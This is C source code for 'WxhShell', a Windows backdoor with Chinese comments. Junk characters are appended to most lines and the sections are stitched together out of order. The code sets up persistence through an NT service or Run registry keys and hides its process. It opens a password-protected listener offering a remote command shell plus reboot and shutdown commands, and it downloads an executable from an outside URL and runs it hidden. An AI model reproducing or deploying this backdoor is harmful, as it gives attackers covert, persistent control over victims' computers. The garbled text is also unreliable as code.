DWORD BasePriority; -DP8NTl"
ULONG UniqueProcessId;
!Ea&]G
ULONG InheritedFromUniqueProcessId; cBifZv*l
} PROCESS_BASIC_INFORMATION; ^]$$)(jw
j:3EpD@GS
PROCNTQSIP NtQueryInformationProcess; "xvtqi,R
dD/t_ {h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PwW^y#96
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sDLS*467
:1aL9 fT
HANDLE hProcess; CAUijMI@
PROCESS_BASIC_INFORMATION pbi; T8$%9&j!UE
v"u7~Dw#1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5v|H<wPp
if(NULL == hInst ) return 0; })20Zld}a
ybZ}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V@vhj R4r\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Abj97S
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XzT78
b fp,zs
if (!NtQueryInformationProcess) return 0; \ Y*h
},DyU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bh6d./
if(!hProcess) return 0; [ULwzjss#L
8f?rEI\0GD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m@ i2#
hPan
CloseHandle(hProcess); S8O)/Sg=
9>N\sOh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nVxq72o@
if(hProcess==NULL) return 0; Rl_.;?v"!
8+"10q-
HMODULE hMod; /61by$E
char procName[255]; 4|nQ=bIau
unsigned long cbNeeded; "hWJ3pi{o{
0 Tcz[$?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2;:lK" :
!\CG,E k
CloseHandle(hProcess); CN7k?JO<
Q0pzW:=s]
if(strstr(procName,"services")) return 1; // 以服务启动 (cvh3',
kg<P t >
return 0; // 注册表启动 6m9 7_NRO
} #2 \8?UPd
H(G!t`K
// 主模块 QhsMd-v
int StartWxhshell(LPSTR lpCmdLine) tXt:HVN
{ 7))\'\
SOCKET wsl; %X;7--S%?g
BOOL val=TRUE; Iz#yQ`
int port=0; oEJaH
struct sockaddr_in door; *p=fi
RI-A"cc6A
if(wscfg.ws_autoins) Install(); 7_DG 5nT
D!oZ?dGCo6
port=atoi(lpCmdLine); i;c'P}[K
Pg/T^n&
if(port<=0) port=wscfg.ws_port; V1<ow'^i
%`#G92Z_
WSADATA data; C\ vC?(n
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t9.,/o,
OB~C} '^$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P/ci/y_1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D?^540,b
door.sin_family = AF_INET; X~lZ OVmS
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #e/2C
door.sin_port = htons(port); T|ZF/&XP
:cy>c2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q!yb16J
closesocket(wsl); XYe~G@Q Z
return 1; ,yICNtP
} /}Yqf`CZy
id^|\hDR
if(listen(wsl,2) == INVALID_SOCKET) { 6
}! Z"
closesocket(wsl); pTWg
m\h
return 1; , 9mgYp2
} 8lwFAiC8
Wxhshell(wsl); h3kaD
WSACleanup(); CM9 XPr
|QVr`tE<
return 0; !tU'J"Zy
A:eFd]E{(
} PL@~Ys0
iU5P$7.p
// 以NT服务方式启动 L}$z/jo
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +{.780|
{ }X]\VSF{
DWORD status = 0; Kq&qE>Ju
DWORD specificError = 0xfffffff; Pt)S;6j
,h^r:g
serviceStatus.dwServiceType = SERVICE_WIN32; %:3'4;jh%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?6f7ld5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9@ndi u[
serviceStatus.dwWin32ExitCode = 0; d",(aZ
serviceStatus.dwServiceSpecificExitCode = 0; %x2uP9
serviceStatus.dwCheckPoint = 0; n!G.At'JP
serviceStatus.dwWaitHint = 0; |O-`5_z$r
ZqQ*}l5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wK ?@.l)u
if (hServiceStatusHandle==0) return; 2ev*CX6.
]]TqP{H
status = GetLastError(); xvmt.> f
if (status!=NO_ERROR) H\E7o"m
{ l$a?A[M$
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZQAO"huk]
serviceStatus.dwCheckPoint = 0; #op:/j
serviceStatus.dwWaitHint = 0; T|;@T^
serviceStatus.dwWin32ExitCode = status; {~N3D4n^
serviceStatus.dwServiceSpecificExitCode = specificError; %<}<'V0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fW(/Loh
return; @vRwzc\
} ]78!!G[`
r|GY]9
serviceStatus.dwCurrentState = SERVICE_RUNNING; W;zpt|kAH
serviceStatus.dwCheckPoint = 0; zrRFn `B
serviceStatus.dwWaitHint = 0; *}cSE|S%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #f{lC0~vA
}
:+ Jt^
6
FI"HJwAs
// 处理NT服务事件,比如:启动、停止 L0Y0&;y|R
VOID WINAPI NTServiceHandler(DWORD fdwControl) =gjDCx$|
{ 53Yxz3v
switch(fdwControl) I [0!SIqY
{ [A5W+pDm
case SERVICE_CONTROL_STOP: "R[l ZJ@
serviceStatus.dwWin32ExitCode = 0; E]I$}>k
serviceStatus.dwCurrentState = SERVICE_STOPPED; gCuAF$o
serviceStatus.dwCheckPoint = 0; ^lj7(
serviceStatus.dwWaitHint = 0; FW..mD9)}
{ mR%FqaN_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }D*yr3b
} <*(^{a.O
return; :,S98z#
case SERVICE_CONTROL_PAUSE: oC*=JJe,
serviceStatus.dwCurrentState = SERVICE_PAUSED; gL3iw!7
break; BT,b-=
;J-
case SERVICE_CONTROL_CONTINUE: \X|sU:g
serviceStatus.dwCurrentState = SERVICE_RUNNING; h|bT)!|
break; w0w1PE-V=
case SERVICE_CONTROL_INTERROGATE: 6w|J-{2
break; kWhr1wR1
}; TL0[@rr4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ws I>n
} (R*j|HAw`X
8'#/LA[uPe
// 标准应用程序主函数 !eI2r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .cDOl_z<:G
{ v^N`IJq
sOBu7!G%
// 获取操作系统版本 A"uULfnk
OsIsNt=GetOsVer(); pOT7;-#n
GetModuleFileName(NULL,ExeFile,MAX_PATH); &GhPvrxI?
CnISe^h
// 从命令行安装 )Si2u5
if(strpbrk(lpCmdLine,"iI")) Install(); Ps4 ZFX
@1-F^G%p8
// 下载执行文件 z6*<V5<7
if(wscfg.ws_downexe) { 3jZ6kfj
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `P}9i@C
WinExec(wscfg.ws_filenam,SW_HIDE); $}GTG'*.
} b2C`g]ibQ
M.q=p[
if(!OsIsNt) { 2%B'3>a
// 如果时win9x,隐藏进程并且设置为注册表启动 -WJ?:?'
HideProc(); (MLwQiop
StartWxhshell(lpCmdLine); Y?d9l
} |[$~\MU
else p{D4"Qn+P9
if(StartFromService()) ;dR=tAf0$Q
// 以服务方式启动 ?D`T7KSe~D
StartServiceCtrlDispatcher(DispatchTable); aEt/NwgiQ
else 5jB*fIz
// 普通方式启动
2]cRXJ7h
StartWxhshell(lpCmdLine); c{3wk7
E"~2./+rd
return 0; /Ncm^b4
} T>`74B:
QHq,/kWY
72W
s
K"
zfA
GtT<
=========================================== a^U~0i@[S
~;]W T
nkfZiyx
eW J`$"z
*{
{b~$
kM8{Cw
" v\tEVhm
PwB1]p=
#include <stdio.h> #_93f
|
#include <string.h> G<|8?6bq#
#include <windows.h> @#g<IBG=*
#include <winsock2.h> (Qo I<j""
#include <winsvc.h> ZyrI R
#include <urlmon.h> (xHf4[[u
h:Gu`+D>W
#pragma comment (lib, "Ws2_32.lib") z`UhB%-?
#pragma comment (lib, "urlmon.lib") >TkE~7?l
6 5N~0t
#define MAX_USER 100 // 最大客户端连接数 anMF-x4/*q
#define BUF_SOCK 200 // sock buffer R_XR4)(<
#define KEY_BUFF 255 // 输入 buffer ?W^c4NtP
UcOk3{(z$q
#define REBOOT 0 // 重启 KGH/^!u+R
#define SHUTDOWN 1 // 关机 y){
k3lm0
1i[\T
#define DEF_PORT 5000 // 监听端口 {8)zg<rL+M
u_(VEfs4
#define REG_LEN 16 // 注册表键长度 Od4E x;F
#define SVC_LEN 80 // NT服务名长度 [Zei0O
Ms~{9?
// 从dll定义API 8_<4-<}P:
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9l,a^@Y:
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bef_rH@`
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oy U
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~T&<CTh
l&iq5}[n&
// wxhshell配置信息 s7Ub@
struct WSCFG { 6f')6X'x
int ws_port; // 监听端口 "j;4
k.`h
char ws_passstr[REG_LEN]; // 口令
)M6w5g
int ws_autoins; // 安装标记, 1=yes 0=no Q8!)!r%
char ws_regname[REG_LEN]; // 注册表键名 $hivlI-7Ko
char ws_svcname[REG_LEN]; // 服务名 4RSHZAJg
char ws_svcdisp[SVC_LEN]; // 服务显示名 b2b^1{@h;v
char ws_svcdesc[SVC_LEN]; // 服务描述信息 e/0<[s*#Q
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M`rl!Ci#
int ws_downexe; // 下载执行标记, 1=yes 0=no 91=OF*w
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TT=b79k
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3s/H2fz
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}; T!Hb{Cg*
Og,$ sH}`
// default Wxhshell configuration Llr>9(|
struct WSCFG wscfg={DEF_PORT, +qh[N@F
"xuhuanlingzhe", Ut2y;2)a
1, H,Z;=N_
"Wxhshell", r E}%KsZ
"Wxhshell", Jn{OWw2
"WxhShell Service", .C 8PitS
"Wrsky Windows CmdShell Service",
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"Please Input Your Password: ", B!vmQR*1
1, }ZYv~E'
"http://www.wrsky.com/wxhshell.exe", fQ#l3@in
"Wxhshell.exe" Z?wU
}; e,t(q(L
(M*FIX
// 消息定义模块 h }B%
/U
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >}+/{(K"E|
char *msg_ws_prompt="\n\r? for help\n\r#>"; MyT q
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZosP(Tdq
char *msg_ws_ext="\n\rExit."; j#cYS*^H
char *msg_ws_end="\n\rQuit."; N[s}qmPha
char *msg_ws_boot="\n\rReboot..."; -$\+'
\
char *msg_ws_poff="\n\rShutdown..."; $0vb^
char *msg_ws_down="\n\rSave to "; 6
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zT!drq: x
char *msg_ws_err="\n\rErr!"; W[Ls|<Q
char *msg_ws_ok="\n\rOK!"; {phNds%
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char ExeFile[MAX_PATH]; 8C*c{(4
int nUser = 0; 3AU;>D ^5
HANDLE handles[MAX_USER]; Kx>qz.wwI?
int OsIsNt; Pi]19boM.
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SERVICE_STATUS serviceStatus; _f$^%?^
SERVICE_STATUS_HANDLE hServiceStatusHandle; a!=D [Gz*5
BO;6
u^[
// 函数声明 ;7}VBkH
int Install(void); r"P|dlV-
int Uninstall(void); KET2Ws[w
int DownloadFile(char *sURL, SOCKET wsh); r>o63Q:
int Boot(int flag); 0*f)=Q'
void HideProc(void); [ucpd
int GetOsVer(void); '.:z&gSqx0
int Wxhshell(SOCKET wsl); 6}d.5^7lr
void TalkWithClient(void *cs); XD.)Dl8
int CmdShell(SOCKET sock); E*]bgD7V
int StartFromService(void); a{L
d
int StartWxhshell(LPSTR lpCmdLine); Lm%:K]X
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %J+E/
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )h7<?@wv&
e )d`pQ6
// 数据结构和表定义 <g$~1fa
SERVICE_TABLE_ENTRY DispatchTable[] = '@_d(N1jTw
{ |olA9mp|]
{wscfg.ws_svcname, NTServiceMain}, nAv#?1cjz
{NULL, NULL} aDU<wxnSvO
}; k$blEa4
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// 自我安装 f4fvrL
int Install(void) N sXHO
{ 8WXQOo8
char svExeFile[MAX_PATH]; PvPOU"
HKEY key; ,Q
strcpy(svExeFile,ExeFile); jIJ~QpNE
t'n pG}`tE
// 如果是win9x系统,修改注册表设为自启动 -XB/lnG
if(!OsIsNt) { A^USBv+9`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JMC. w!
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fp`;U_-&0
RegCloseKey(key); ;ub;lh 3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V<GHpFi0
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X
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RegCloseKey(key); ZOh`(})hy
return 0; QIG$z?
} EJMM9(DQ7
} =;Au<|
} `dq,>HdW
else { MTuV^0%jD
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